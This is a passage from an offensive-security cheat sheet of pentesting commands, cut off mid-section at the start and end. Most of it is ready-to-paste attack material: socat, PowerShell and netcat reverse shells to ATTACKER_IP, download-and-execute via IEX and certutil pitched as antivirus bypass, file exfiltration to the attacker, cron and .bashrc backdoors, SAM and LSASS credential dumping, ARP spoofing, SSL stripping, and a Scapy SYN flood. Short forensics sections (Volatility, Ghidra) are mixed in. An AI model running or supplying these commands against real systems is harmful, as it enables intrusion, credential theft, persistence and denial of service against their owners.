socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# pty: Pseudo-terminal (interactive!)
# stderr: Include errors
# setsid: New session
# sigint: Handle Ctrl+C
# sane: Terminal settings
# BETTER: Full TTY shell (runs sudo, nano, etc.)
File Transfer
# Send file (ATTACKER → VICTIM):
# VICTIM: Listen & receive
socat TCP-LISTEN:4444 OPEN:received_file.txt,creat
# ATTACKER: Send
socat TCP:VICTIM_IP:4444 FILE:file_to_send.txt
# Faster than nc!
# Can resume: Use SEEK option
Port Forwarding
# Forward local port to remote:
socat TCP-LISTEN:8080,fork TCP:example.com:80
# Forwards: localhost:8080 → example.com:80
# fork: Handle multiple connections
# Example use:
curl http://localhost:8080
# Actually connects to: example.com:80
# Forward to internal network:
socat TCP-LISTEN:3389,fork TCP:10.10.10.50:3389
# Forwards: Attacker's 3389 → Internal machine's RDP
# Access RDP via: localhost:3389
PowerShell for Pentesting (Windows Post-Exploitation)
PowerShell is THE most powerful tool for Windows pentesting. It's pre-installed on ALL Windows machines (Win 7+), can bypass AV (fileless attacks), has full system access, and is used by attackers AND admins!
PowerShell Reverse Shells
# One-liner reverse shell (COPY/PASTE):
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# PowerShell download & execute:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
# IEX = Invoke-Expression (execute code)
# Fileless attack!
# Bypass execution policy:
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')"
Enumeration with PowerShell
# List users:
Get-LocalUser
Get-ADUser -Filter *
# List groups:
Get-LocalGroup
Get-ADGroup -Filter *
# Check privileges:
whoami /all
whoami /priv
# List processes:
Get-Process
# List services:
Get-Service
# Network connections:
Get-NetTCPConnection
# Firewall rules:
Get-NetFirewallRule
PowerShell File Transfer
# Download file:
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/file.exe', 'C:\Temp\file.exe')
# Shorter:
wget http://ATTACKER_IP/file.exe -OutFile C:\Temp\file.exe
# wget = PowerShell alias
# Upload file to attacker:
# ATTACKER: Start listener
nc -lvnp 4444 > received.txt
# VICTIM:
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444)
$stream = $client.GetStream()
$data = [System.IO.File]::ReadAllBytes('C:\passwords.txt')
$stream.Write($data,0,$data.Length)
$client.Close()
Certutil (Windows LOLBin - Living Off The Land)
Certutil is a Microsoft-signed binary for managing certificates - BUT it can download files, encode/decode, and bypass AV! Perfect for Windows post-exploitation!
Download Files with Certutil
# Download file (bypass AV!):
certutil -urlcache -f http://ATTACKER_IP/file.exe C:\Temp\file.exe
# -urlcache: Download from URL
# -f: Force
# Alternative syntax:
certutil.exe -urlcache -split -f http://ATTACKER_IP/payload.exe C:\Windows\Temp\payload.exe
# WHY THIS WORKS:
# certutil.exe is SIGNED by Microsoft
# Many AVs trust it (whitelist)
# Downloads files WITHOUT triggering alerts!
# Verify download:
dir C:\Temp\file.exe
Encode/Decode (Obfuscation)
# Base64 encode:
certutil -encode payload.exe payload.txt
# Creates: Base64 text file
# Transfer encoded file (less detection):
certutil -urlcache -f http://ATTACKER_IP/payload.txt C:\Temp\payload.txt
# Decode:
certutil -decode C:\Temp\payload.txt C:\Temp\payload.exe
# Restores: Original executable
# BYPASS AV:
# AV scans payload.exe → DETECTED!
# Transfer as payload.txt (encoded) → NOT DETECTED!
# Decode on victim → Execute!
Git Commands for Pentesting (Reconnaissance & OSINT)
Why Git? Developers often push SECRETS to GitHub/GitLab: API keys, passwords, AWS credentials, database configs! Git history stores EVERYTHING - even deleted files. Essential for OSINT and recon!
Clone & Analyze Repositories
# Clone repository:
git clone https://github.com/company/webapp.git
cd webapp
# Check commit history:
git log
# Shows: All commits (dates, authors, messages)
# Search commit messages for secrets:
git log --all --grep='password'
git log --all --grep='api_key'
git log --all --grep='secret'
# Show specific commit:
git show COMMIT_HASH
# Reveals: Changed files, added/deleted code
# Search all commits for string:
git log -p -S 'password'
# -p: Show patches (code changes)
# -S: Search for string in code
Find Secrets in Git History
# Search for AWS keys:
git log -p | grep -i 'aws_access_key'
# Search for database credentials:
git log -p | grep -i 'db_password'
# Check .git/config (remote URLs with creds):
cat .git/config
# May contain: https://username:password@github.com/repo.git
# List all files EVER committed:
git log --pretty=format: --name-only --diff-filter=A | sort -u
# Shows: Files that existed in past (even if deleted now!)
# Restore deleted file:
git checkout COMMIT_HASH -- path/to/deleted/file.php
Automated Secret Scanning
# TruffleHog (scan Git for secrets):
pip3 install truffleHog
trufflehog https://github.com/company/webapp.git
# Finds: High-entropy strings (passwords, API keys, etc.)
# GitLeaks (another secret scanner):
docker run --rm -v $(pwd):/path zricethezav/gitleaks:latest detect --source="/path" -v
# Scans: Entire Git history for secrets
# Gitrob (enumerate GitHub organization):
# Finds: Sensitive files across ALL company repos
Check for Exposed .git Directories
# SCENARIO: Found .git directory on web server!
# Example: http://target.com/.git/
# Download entire Git repo from web:
wget -r http://target.com/.git/
# OR:
git-dumper http://target.com/.git/ output_directory
# Reconstruct repository:
cd output_directory
git log
# Now you have: Full source code + commit history!
# Extract secrets:
git log -p | grep -i password
SSH Tunneling & Port Forwarding (THE Pivoting Classic)
SSH Tunneling is THE original pivoting technique! Use compromised SSH access to create encrypted tunnels, forward ports, and access internal networks. Every pentester must master SSH!
Local Port Forwarding (Access Internal Services)
# SCENARIO: You have SSH to Jump Box (192.168.1.50), want to access Internal Web Server (10.10.10.50:80)
# Forward local port 8080 → Internal 10.10.10.50:80
ssh -L 8080:10.10.10.50:80 user@192.168.1.50
# -L: Local forward
# 8080: Your local port
# 10.10.10.50:80: Internal server
# Now access internal web server:
curl http://localhost:8080
# Traffic goes: localhost:8080 → SSH tunnel → Jump Box → 10.10.10.50:80
# Multiple forwards:
ssh -L 8080:10.10.10.50:80 -L 3389:10.10.10.51:3389 -L 3306:10.10.10.52:3306 user@192.168.1.50
# Forwards:
# localhost:8080 → 10.10.10.50:80 (web)
# localhost:3389 → 10.10.10.51:3389 (RDP)
# localhost:3306 → 10.10.10.52:3306 (MySQL)
Remote Port Forwarding (Reverse Tunnel)
# SCENARIO: Jump Box behind firewall, can't connect IN. Make Jump Box connect OUT to you!
# On YOUR attacker machine:
ssh -R 4444:localhost:4444 user@JUMP_BOX
# -R: Remote forward
# Jump Box port 4444 → Your localhost:4444
# Now on Jump Box:
nc localhost 4444
# Connects back to YOUR machine!
# USE CASE:
# Start service on your machine (e.g., web server on 8080)
# Reverse forward: ssh -R 8080:localhost:8080 user@VICTIM
# Victim can access: curl http://localhost:8080 (reaches YOUR machine!)
# Great for: Delivering payloads, exfiltration
Dynamic Port Forwarding (SOCKS Proxy)
# Create SOCKS proxy through SSH:
ssh -D 1080 user@192.168.1.50
# -D: Dynamic forward (SOCKS5 proxy)
# 1080: Local SOCKS proxy port
# Configure proxychains:
sudo nano /etc/proxychains4.conf
# Add:
socks5 127.0.0.1 1080
# Use SOCKS proxy:
proxychains nmap -sT 10.10.10.0/24
proxychains evil-winrm -i 10.10.10.50 -u admin -p password
# Access via browser:
# Firefox → Settings → Network → Manual proxy configuration
# SOCKS Host: 127.0.0.1, Port: 1080
SSH ProxyJump (Multi-Hop)
# Jump through multiple SSH servers:
ssh -J user1@jumpbox1,user2@jumpbox2 user3@target
# -J: ProxyJump (chain)
# Connects: You → jumpbox1 → jumpbox2 → target
# With port forward:
ssh -J user@jumpbox -L 8080:10.10.10.50:80 user@internal_box
# Access internal web server through 2 hops!
SSH Tunnel in Background
# Run SSH tunnel in background:
ssh -fN -D 1080 user@jumpbox
# -f: Background
# -N: No command execution (just tunnel)
# Kill background tunnel:
ps aux | grep ssh
kill PID
# Auto-reconnect (persistent tunnel):
while true; do ssh -N -D 1080 user@jumpbox; sleep 5; done &
Docker for Pentesting
Docker is increasingly common in enterprise environments. Understanding Docker = Find misconfigurations, escape containers, and pivot!
Docker Enumeration
# Check if inside Docker container:
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
# If exists: You're in container!
# List Docker containers (if you have access):
docker ps
docker ps -a
# -a: All containers (running + stopped)
# List Docker images:
docker images
# Inspect container:
docker inspect CONTAINER_ID
# Shows: Volumes, networks, environment variables (SECRETS!)
Docker Privilege Escalation
# If you have Docker access AND in 'docker' group:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Mounts: Host's root (/) to /mnt in container
# chroot /mnt: Change root to host filesystem
# Result: ROOT access to HOST!
# Alternative with Ubuntu:
docker run -v /:/hostfs --rm -it ubuntu bash
# Access host: cd /hostfs
# WHY THIS WORKS:
# Docker daemon runs as root
# 'docker' group = root equivalent!
# Mounting host filesystem = full access
Docker Secrets Extraction
# Check environment variables:
docker inspect CONTAINER_ID | grep -i env
# Often contains: Database passwords, API keys
# Extract Docker secrets:
docker exec CONTAINER_ID cat /run/secrets/SECRET_NAME
# Check Docker volumes:
docker volume ls
docker volume inspect VOLUME_NAME
# Shows: Mount point on host
Tmux & Screen (Terminal Multiplexers)
Why? Long-running scans, persistent shells, and multitasking! Essential for managing multiple sessions during pentests.
Tmux Basics
# Start tmux:
tmux
# Detach from session (keeps running):
Ctrl+b, then d
# List sessions:
tmux ls
# Reattach to session:
tmux attach -t 0
# -t 0: Session number
# Create named session:
tmux new -s pentest
tmux attach -t pentest
# Split horizontally:
Ctrl+b, then "
# Split vertically:
Ctrl+b, then %
# Switch between panes:
Ctrl+b, then arrow keys
# Close pane:
Ctrl+d
# WHY USE:
# Start nmap scan in tmux → detach → SSH session drops → scan continues!
# Reattach later: tmux attach → see results!
Screen Basics
# Start screen:
screen
# Detach:
Ctrl+a, then d
# List sessions:
screen -ls
# Reattach:
screen -r
# Create named session:
screen -S pentest
screen -r pentest
# Create new window:
Ctrl+a, then c
# Switch windows:
Ctrl+a, then n (next)
Ctrl+a, then p (previous)
# Kill session:
screen -X -S SESSION_ID kill
OWASP ZAP (THE Open-Source Web Proxy)
What is OWASP ZAP? ZAP (Zed Attack Proxy) is an open-source alternative to Burp Suite Pro. It's 100% FREE, has automated scanners, fuzzing, spidering, and API testing. Perfect for web app pentesting!
Why ZAP? Completely FREE (no limitations!), active scanner (automatic vulnerability detection), REST API (automation!), integrates with CI/CD, and constantly updated by OWASP community!
Installation & Setup
# Install (pre-installed in Kali):
sudo apt install zaproxy
# Or download from:
# https://www.zaproxy.org/download/
# Start ZAP:
zaproxy
# OR:
zap.sh
# GUI opens automatically
# Configure browser to use ZAP proxy:
# Firefox → Settings → Network → Manual proxy
# HTTP Proxy: 127.0.0.1
# Port: 8080
ZAP Quick Scan
# Automated Scan mode (easiest!):
# 1. Open ZAP
# 2. Quick Start tab → "Automated Scan"
# 3. Enter URL: http://target.com
# 4. Click "Attack"
# 5. Wait for results
# ZAP will:
# - Spider website (discover pages)
# - Active scan (test for vulnerabilities)
# - Report findings (SQLi, XSS, etc.)
Manual Testing with ZAP
# Manual Explore mode:
# 1. Configure browser to use ZAP proxy (127.0.0.1:8080)
# 2. Browse target website normally
# 3. ZAP captures ALL requests
# 4. Right-click request → "Attack" → "Active Scan"
# 5. OR: Right-click parameter → "Fuzz"
# Fuzzing:
# Right-click parameter value → Fuzz
# Select payload: SQLi, XSS, File paths, etc.
# Start fuzzer → see responses
# Repeater (like Burp Repeater):
# Right-click request → "Open/Resend with Request Editor"
# Modify request → Send
# Compare responses
ZAP API (Automation)
# ZAP API (for scripting):
# Enable API: Tools → Options → API
# Start ZAP in daemon mode (no GUI):
zap.sh -daemon -port 8080 -config api.key=YOUR_API_KEY
# Spider website via API:
curl "http://localhost:8080/JSON/spider/action/scan/?url=http://target.com&apikey=YOUR_API_KEY"
# Active scan via API:
curl "http://localhost:8080/JSON/ascan/action/scan/?url=http://target.com&apikey=YOUR_API_KEY"
# Get alerts (vulnerabilities):
curl "http://localhost:8080/JSON/core/view/alerts/?apikey=YOUR_API_KEY"
# Python ZAP API:
pip install python-owasp-zap-v2.4
from zapv2 import ZAPv2
zap = ZAPv2(apikey='YOUR_API_KEY', proxies={'http': 'http://127.0.0.1:8080'})
zap.spider.scan('http://target.com')
zap.ascan.scan('http://target.com')
ZAP vs Burp Suite
# ZAP Advantages:
# ✅ 100% FREE (no limits!)
# ✅ Automated active scanner (free!)
# ✅ REST API (automation friendly)
# ✅ Open source
# ✅ CI/CD integration
# Burp Suite Advantages:
# ✅ Better UI/UX
# ✅ More extensions
# ✅ Better Repeater/Intruder
# ✅ Collaborator (out-of-band testing)
# ✅ Industry standard
# RECOMMENDATION:
# Learning/Budget: Use ZAP (free!)
# Professional: Use Burp Suite Pro
# Automation: Use ZAP API
# Manual testing: Use Burp Suite
Additional Essential Tools (Quick Reference)
Netcat Alternatives & Modern Tools
# Pwncat (modern netcat):
pip3 install pwncat-cs
pwncat-cs -l 4444
# Features: Auto-stabilize shells, file upload/download, privilege escalation suggestions
# Ncat (nmap's netcat):
ncat -lvnp 4444 --ssl
# Built-in SSL encryption!
# Rlwrap (readline wrapper for better shells):
rlwrap nc -lvnp 4444
# Adds: Arrow keys, history, tab completion to shells
Web Shells & Backdoors
# PHP web shell (simple):
# Usage: http://target.com/shell.php?cmd=whoami
# PHP reverse shell (PentestMonkey):
# Download: https://github.com/pentestmonkey/php-reverse-shell
# Edit: $ip = 'ATTACKER_IP'; $port = 4444;
# Upload to target → access URL → get shell!
# Weevely (PHP backdoor with encrypted C2):
weevely generate password shell.php
weevely http://target.com/shell.php password
# Encrypted backdoor (hard to detect!)
# Laudanum (collection of web shells):
# Location: /usr/share/laudanum/
# Includes: PHP, ASP, ASPX, JSP shells
Credential Dumping (Quick Methods)
# Linux:
# /etc/shadow (password hashes):
sudo cat /etc/shadow
# Crack with: john --wordlist=rockyou.txt shadow
# SSH keys:
cat ~/.ssh/id_rsa
cat /home/*/.ssh/id_rsa
# Use: ssh -i id_rsa user@target
# Browser passwords (Linux):
# Firefox: ~/.mozilla/firefox/*.default/logins.json
# Chrome: ~/.config/google-chrome/Default/Login Data
# Windows:
# SAM & SYSTEM (password hashes):
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
# Extract with: impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# LSASS dump (without Mimikatz):
# Task Manager → Find lsass.exe → Right-click → Create dump file
# Extract offline: pypykatz lsa minidump lsass.dmp
# Windows credentials (various locations):
# C:\Users\*\AppData\Local\Microsoft\Credentials\
# C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
Privilege Escalation Quick Checks
# Linux:
# Check sudo:
sudo -l
# SUID binaries:
find / -perm -4000 2>/dev/null
# Writable /etc/passwd:
ls -la /etc/passwd
# If writable: Add root user!
# Cron jobs:
cat /etc/crontab
ls -la /etc/cron.*
# Kernel exploits:
uname -a
searchsploit "Linux Kernel $(uname -r)"
# Windows:
# Check privileges:
whoami /priv
# Look for: SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege → Potato exploits!
# Unquoted service paths:
wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr /i /v """
# AlwaysInstallElevated:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If enabled: Create MSI payload → install as admin!
# Stored credentials:
cmdkey /list
# Use: runas /savecred /user:admin cmd.exe
Lateral Movement Quick Methods
# Pass-the-Hash (Linux):
# With evil-winrm:
evil-winrm -i 192.168.1.50 -u administrator -H NTLM_HASH
# With impacket:
impacket-psexec administrator@192.168.1.50 -hashes :NTLM_HASH
# RDP with hash:
xfreerdp /u:administrator /pth:NTLM_HASH /v:192.168.1.50
# WMI execution:
impacket-wmiexec administrator:password@192.168.1.50
# PSExec (Windows):
PsExec.exe \\192.168.1.50 -u administrator -p password cmd.exe
# WinRM (PowerShell):
Enter-PSSession -ComputerName 192.168.1.50 -Credential (Get-Credential)
Persistence Quick Methods
# Linux:
# SSH key:
mkdir ~/.ssh
echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Connect: ssh -i your_private_key user@target
# Cron job:
(crontab -l 2>/dev/null; echo "@reboot nc ATTACKER_IP 4444 -e /bin/bash") | crontab -
# .bashrc backdoor:
echo "nc ATTACKER_IP 4444 -e /bin/bash &" >> ~/.bashrc
# Windows:
# Registry Run key:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"
# Scheduled task:
schtasks /create /tn "Windows Update" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru System
# Service:
sc create Backdoor binPath= "C:\Windows\Temp\backdoor.exe" start= auto
sc start Backdoor
Volatility (THE Memory Forensics Framework)
What is Volatility? Volatility is THE industry-standard memory forensics framework for analyzing RAM dumps. It extracts: running processes, network connections, passwords in memory, malware artifacts, hidden processes, and MORE! Essential for incident response and malware analysis!
Why Volatility? It's the STANDARD for memory forensics (used by FBI, NSA, Fortune 500), supports 100+ analysis plugins, works on Windows/Linux/Mac memory dumps, finds hidden rootkits, and can recover deleted data from RAM!
Installation & Basic Usage
# Install Volatility 3 (latest):
pip3 install volatility3
# Or use Volatility 2 (still widely used):
sudo apt install volatility
# Analyze memory dump:
vol -f memory.dump windows.info
# -f: Memory dump file
# windows.info: Plugin to run
# Identify OS profile (Volatility 2):
volatility -f memory.dump imageinfo
# Shows: Suggested profiles (Win7SP1x64, WinXP, etc.)
Essential Volatility Plugins
# List running processes:
vol -f memory.dump windows.pslist
# Shows: All processes (PID, name, parent PID)
# Find hidden processes:
vol -f memory.dump windows.psscan
# Detects: Processes hidden by rootkits!
# Process tree:
vol -f memory.dump windows.pstree
# Shows: Parent-child relationships
# Network connections:
vol -f memory.dump windows.netscan
# Shows: Active connections, listening ports
# Command line arguments:
vol -f memory.dump windows.cmdline
# Reveals: How processes were launched
# DLL list for process:
vol -f memory.dump windows.dlllist --pid 1234
# Shows: Loaded DLLs (detect injected DLLs!)
# Dump process memory:
vol -f memory.dump windows.pslist
vol -f memory.dump windows.memmap --pid 1234 --dump
# Extracts: Executable from memory
# Registry hives:
vol -f memory.dump windows.registry.hivelist
# Shows: Registry hives in memory
# Dump specific registry key:
vol -f memory.dump windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"
# Shows: Startup programs (persistence!)
# Extract files:
vol -f memory.dump windows.filescan
# Lists: All files in memory
vol -f memory.dump windows.dumpfiles --pid 1234
# Dumps: Files opened by process
# Passwords in memory (Volatility 2):
volatility -f memory.dump --profile=Win7SP1x64 hashdump
# Extracts: Password hashes from memory!
volatility -f memory.dump --profile=Win7SP1x64 lsadump
# Extracts: LSA secrets (plaintext passwords!)
Malware Analysis with Volatility
# Detect injected code:
vol -f memory.dump windows.malfind
# Finds: Suspicious memory regions (code injection!)
# Detect hooks:
vol -f memory.dump windows.ssdt
# Shows: System Service Descriptor Table hooks (rootkit detection)
# Suspicious services:
vol -f memory.dump windows.svcscan
# Lists: All services
# Mutexes (malware indicators):
vol -f memory.dump windows.mutantscan
# Shows: Mutex objects (unique malware identifiers!)
# Timeline analysis:
vol -f memory.dump timeliner
# Creates: Timeline of all events in memory
Binwalk (THE Firmware Analysis Tool)
What is Binwalk? Binwalk is a firmware analysis tool that extracts embedded files from firmware images. It detects: file signatures, extracts compressed archives, identifies encryption, and MORE! Essential for IoT/embedded device hacking!
Basic Usage
# Install:
sudo apt install binwalk
# Analyze firmware:
binwalk firmware.bin
# Shows: Embedded files, offsets, signatures
# Extract embedded files:
binwalk -e firmware.bin
# -e: Extract
# Creates: _firmware.bin.extracted/ directory
# Recursive extraction:
binwalk -Me firmware.bin
# -M: Recursively extract
# Search for specific file type:
binwalk --dd='.*' firmware.bin
# Extracts: ALL detected files
Firmware Exploitation Workflow
# 1. Download router firmware:
wget http://vendor.com/router_firmware.bin
# 2. Analyze with binwalk:
binwalk firmware.bin
# Found: Compressed filesystem at offset 0x12000
# 3. Extract:
binwalk -e firmware.bin
# 4. Navigate extracted files:
cd _firmware.bin.extracted/
ls
# Found: etc/, www/, bin/, usr/
# 5. Search for passwords:
grep -r "password" .
# Found: etc/config/passwords.txt
# 6. Analyze web interface:
cd www/
cat login.php
# Found: Hardcoded admin password!
# 7. Find binaries:
cd ../bin/
file *
# Check for: SUID binaries, vulnerable services
Ghidra (THE NSA's Reverse Engineering Tool)
What is Ghidra? Ghidra is THE NSA-developed reverse engineering suite - and it's 100% FREE! It decompiles binaries, supports 50+ architectures, has graphical analysis, scripting with Python/Java, and MORE! Think "IDA Pro but free"!
Basic Usage
# Install:
# Download from: https://ghidra-sre.org/
# Start Ghidra:
ghidraRun
# Create new project:
# File → New Project → Non-Shared Project
# Import binary:
# File → Import File → Select executable
# Analyze:
# Analysis → Auto Analyze → Accept defaults
# Wait for analysis to complete
# Decompile function:
# Symbol Tree → Functions → Double-click function
# Window → Decompile
# Shows: C-like pseudocode!
# WHY THIS MATTERS:
# Binary = compiled machine code (unreadable)
# Ghidra decompiles to: C pseudocode (READABLE!)
# Find: Vulnerabilities, backdoors, logic flaws
Finding Vulnerabilities
# Search for dangerous functions:
# Search → For Strings
# Look for: strcpy, gets, sprintf (buffer overflow!)
# Find main function:
# Symbol Tree → Functions → "entry" → Follow calls
# Or search: "main"
# Cross-references:
# Right-click function → References → Find References To
# Shows: Where function is called from
# Export decompiled code:
# File → Export Program → Choose format (C, Java, etc.)
Bettercap (THE Modern MITM Framework)
What is Bettercap? Bettercap is THE modern network attack framework - it does EVERYTHING: ARP spoofing, DNS spoofing, SSL stripping, packet sniffing, credential harvesting, and MORE! Think "Ettercap on steroids"!
Installation & Setup
# Install:
sudo apt install bettercap
# Start interactive mode:
sudo bettercap -iface eth0
# -iface: Network interface
# Web UI (easier!):
sudo bettercap -iface eth0
# In bettercap:
» ui.update
» http-ui
# Access: https://127.0.0.1 (user: admin, pass: pass)
ARP Spoofing (MITM Attack)
# Start bettercap:
sudo bettercap -iface eth0
# Discover hosts:
» net.probe on
» net.show
# Shows: All devices on network
# ARP spoof (become MITM):
» set arp.spoof.targets 192.168.1.50
# Target: Specific victim
# OR:
» set arp.spoof.targets 192.168.1.0/24
# Target: Entire network
» arp.spoof on
# Starts ARP spoofing!
# Enable packet forwarding:
» set net.sniff.verbose false
» net.sniff on
# Captures all traffic!
Credential Harvesting
# Capture HTTP credentials:
» set net.sniff.verbose false
» set net.sniff.local true
» set net.sniff.filter 'tcp port 80'
» net.sniff on
# Shows captured credentials in real-time!
# DNS spoofing:
» set dns.spoof.domains target.com
» set dns.spoof.address YOUR_IP
» dns.spoof on
# Victim visits target.com → redirected to YOUR_IP!
# Serve fake page:
» set http.server.path /var/www/phishing
» http.server on
# Victim sees YOUR fake page!
SSL Stripping
# Strip HTTPS → HTTP:
» set http.proxy.sslstrip true
» http.proxy on
# Downgrades: HTTPS → HTTP
# Result: Plaintext credentials!
# Inject JavaScript:
» set http.proxy.script /path/to/inject.js
» http.proxy on
# Injects: Your JS into every page victim visits!
Ettercap (THE Classic MITM Tool)
Ettercap is the ORIGINAL MITM tool - still powerful for ARP spoofing, packet manipulation, and credential theft!
Basic Usage
# Start GUI:
sudo ettercap -G
# Start CLI:
sudo ettercap -T -M arp:remote /192.168.1.1// /192.168.1.50//
# -T: Text mode
# -M arp:remote: ARP spoofing
# /192.168.1.1//: Gateway
# /192.168.1.50//: Victim
# Sniff passwords:
# Ettercap automatically displays captured credentials!
# Packet manipulation:
# Plugins → Manage Plugins → dos_attack (DoS)
# Plugins → Manage Plugins → remote_browser (hijack sessions)
MITMf (Man-In-The-Middle Framework)
# Install:
git clone https://github.com/byt3bl33d3r/MITMf.git
cd MITMf
pip install -r requirements.txt
# Basic MITM:
python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50
# Inject BeEF hook:
python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --inject --js-url http://YOUR_IP:3000/hook.js
# SSL strip:
python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --hsts
# Screenshot victims:
python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --screen
# Keylog:
python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.50 --jskeylogger
Sliver (THE Modern C2 Framework)
What is Sliver? Sliver is a modern Command & Control (C2) framework - the OPEN-SOURCE alternative to Cobalt Strike! It supports: implants, staged payloads, multi-OS support, and evasion techniques. The FUTURE of C2!
Installation & Basic Usage
# Install:
curl https://sliver.sh/install | sudo bash
# Start Sliver server:
sliver-server
# Generate implant:
sliver > generate --http YOUR_IP --save /tmp/implant.exe
# Creates: Windows executable
# Start HTTP listener:
sliver > http
# Execute implant on victim → Beacon calls back!
# List sessions:
sliver > sessions
# Interact with session:
sliver > use SESSION_ID
# Execute commands:
sliver (SESSION) > shell
# Interactive shell!
sliver (SESSION) > execute whoami
sliver (SESSION) > download C:\passwords.txt
sliver (SESSION) > upload payload.exe C:\Windows\Temp\
Advanced Features
# Pivoting:
sliver (SESSION) > portfwd add --remote 0.0.0.0:8080 --local 127.0.0.1:80
# Forwards victim's port 8080 → your localhost:80
# SOCKS proxy:
sliver (SESSION) > socks5 start
# Creates SOCKS proxy through victim
# Mimikatz:
sliver (SESSION) > mimikatz sekurlsa::logonpasswords
# Privilege escalation:
sliver (SESSION) > getsystem
# Auto-escalates to SYSTEM!
# Process injection:
sliver (SESSION) > migrate PID
# Injects into another process
PowerShell Empire / Covenant (C2 Frameworks)
# PowerShell Empire (deprecated but still used):
# Focuses on: PowerShell-based post-exploitation
# Features: Fileless attacks, credential harvesting, lateral movement
# Covenant (modern alternative):
# .NET-based C2
# Features: Web UI, task-based architecture, OPSEC safe
# Both provide:
# - Agent generation (implants)
# - Post-exploitation modules
# - Credential dumping (Mimikatz)
# - Lateral movement
# - Privilege escalation
# - Persistence mechanisms
Scapy (THE Packet Crafting Framework)
What is Scapy? Scapy is THE Python packet manipulation library - it creates, sends, captures, and analyzes network packets AT WILL! Build custom packets, perform DoS attacks, test firewalls, and MORE! If you can imagine a packet, Scapy can create it!
Installation & Interactive Mode
# Install:
sudo apt install scapy python3-scapy
# Start interactive mode:
sudo scapy
# Basic packet creation:
>>> packet = IP(dst="10.10.10.50")/TCP(dport=80)
>>> send(packet)
# Creates: TCP packet to 10.10.10.50:80
# View packet:
>>> packet.show()
# Shows: All packet fields
Common Scapy Operations
# ICMP ping:
>>> packet = IP(dst="10.10.10.50")/ICMP()
>>> reply = sr1(packet)
# sr1: Send and receive 1 packet
# TCP SYN scan:
>>> packet = IP(dst="10.10.10.50")/TCP(dport=80, flags="S")
>>> reply = sr1(packet)
>>> if reply.haslayer(TCP):
... if reply[TCP].flags == 18: # SYN-ACK
... print("Port open!")
# ARP scan:
>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)
# srp: Send/receive layer 2 packets
>>> for snd, rcv in ans:
... print(rcv[Ether].src, rcv[ARP].psrc)
# Shows: MAC addresses and IPs
# DNS query:
>>> packet = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="target.com"))
>>> reply = sr1(packet)
# Packet capture:
>>> packets = sniff(count=10)
# Captures: 10 packets
>>> packets.summary()
# Write packets to file:
>>> wrpcap("capture.pcap", packets)
# Read packets from file:
>>> packets = rdpcap("capture.pcap")
Scapy Attack Scripts
# SYN flood (DoS):
from scapy.all import *
target = "10.10.10.50"
target_port = 80
while True:
send(IP(dst=target)/TCP(dport=target_port, flags="S"), verbose=0)
# Sends: Endless SYN packets (DoS!)
# ARP spoofing:
from scapy.all import *
victim_ip = "192.168.1.50"
gateway_ip = "192.168.1.1"
victim_mac = getmacbyip(victim_ip)
gateway_mac = getmacbyip(gateway_ip)
# Tell victim we're the gateway:
send(ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=gateway_ip))
# Tell gateway we're the victim:
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=victim_ip))
# Custom TCP packet:
from scapy.all import *
packet = (IP(dst="10.10.10.50", ttl=64) /
TCP(sport=1234, dport=80, flags="S", seq=12345) /
"Custom payload data")
send(packet)
Aircrack-ng Suite (THE WiFi Hacking Toolkit)
Quick Refresher: We covered this earlier, but here's a COMPLETE workflow for WiFi pentesting!
Complete WPA2 Cracking Workflow
# 1. Put interface in monitor mode:
sudo airmon-ng start wlan0
# Creates: wlan0mon
# 2. Scan for networks:
sudo airodump-ng wlan0mon
# Note: Target BSSID, channel, ESSID
# 3. Capture handshake:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# -c 6: Channel 6
# --bssid: Target access point
# -w capture: Output filename
# 4. Deauth client (force handshake):
# Open NEW terminal:
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 10: Send 10 deauth packets
# -a: Access point MAC
# 5. Wait for "WPA handshake" in airodump-ng
# Should see: "WPA handshake: AA:BB:CC:DD:EE:FF"
# 6. Crack handshake:
